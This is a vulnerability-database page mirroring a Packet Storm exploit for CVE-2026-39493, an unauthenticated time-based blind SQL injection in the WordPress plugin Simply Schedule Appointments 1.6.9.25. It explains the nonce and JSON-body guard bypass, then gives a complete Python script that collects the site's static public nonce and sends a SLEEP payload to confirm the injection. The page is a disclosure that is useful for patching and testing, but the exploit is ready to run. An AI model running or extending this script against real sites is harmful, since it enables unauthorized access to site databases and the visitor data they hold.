Lucene search
+L

📄 WordPress Simply Schedule Appointments 1.6.9.25 Unauthenticated Blind SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 38 Views

Unauthenticated time based blind injection in Simply Schedule Appointments REST before 1.6.9.25.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Simply Schedule Appointments <= 1.6.9.25 - Unauthenticated Time-Based Blind SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/simply-schedule-appointments/
    # Software Link: https://downloads.wordpress.org/plugin/simply-schedule-appointments.1.6.9.25.zip
    # Version: 1.6.9.25 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-39493
    """
    Simply Schedule Appointments <= 1.6.9.25 exposes GET /wp-json/ssa/v1/appointment_types, gated by
    get_items_permissions_check -> nonce_permissions_check, which accepts a STATIC per-site public nonce
    (TD_API_Model::create_nonce('wp_rest') = substr(wp_hash('wp_rest|','nonce'),-12,10)) that never
    rotates and is localized into every [ssa_booking] page as "public_nonce".
    
    The model's db_where_conditions() concatenates the request's `append_where_sql` raw into the query
    (includes/lib/td-util/class-td-db-model.php:1025), and the guard at :1019 only checks
    $_REQUEST['append_where_sql'] — which a JSON *body* does NOT populate, while $request->get_params()
    (merged JSON body) DOES. So sending append_where_sql in the JSON body bypasses the guard and injects
    into the WHERE of a prepare() TEMPLATE (:1174) -> SQL injection.
    
    Two request quirks:
      * nonce_permissions_check first does `if (empty($headers['x_wp_nonce'][0])) return false` — so an
        X-WP-Nonce header MUST be present and non-empty AND not the string "0" (empty("0") is true in
        PHP). Any other junk value works; it fails wp_verify_nonce and falls through to the public nonce.
      * The payload must be '%'-free (it is part of a prepare() template).
    
    Payload:  AND (SELECT 1 FROM (SELECT SLEEP(5))x)
    
    Prior state: plugin active + a page containing [ssa_booking] (source of the static public nonce).
    """
    import argparse, sys, re, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def harvest_nonce(base, page):
        h = requests.get(base + page, verify=False, timeout=20).text
        m = re.search(r'"public_nonce":"([a-f0-9]{10})"', h)
        return m.group(1) if m else None
    
    
    def probe(base, pn, seconds):
        body = '{"append_where_sql":" AND (SELECT 1 FROM (SELECT SLEEP(%d))x) "}' % seconds
        t = time.time()
        requests.request("GET", base + "/wp-json/ssa/v1/appointment_types",
                         headers={"X-WP-Nonce": "zzzz", "X-Public-Nonce": pn,
                                  "Content-Type": "application/json"}, data=body, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--page", default="/book/", help="page containing [ssa_booking]")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        pn = harvest_nonce(base, args.page)
        if not pn:
            print(f"[-] no public_nonce on {args.page} (add an [ssa_booking] page)"); return 1
        print(f"[*] Target: {base} | static public_nonce: {pn}")
        t0 = probe(base, pn, 0)
        t5 = probe(base, pn, args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — unauthenticated attacker-controlled SLEEP({args.sleep}) "
                  f"delayed the response by {t5 - t0:.2f}s (append_where_sql JSON body).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.3
EPSS0.00363
SSVC
38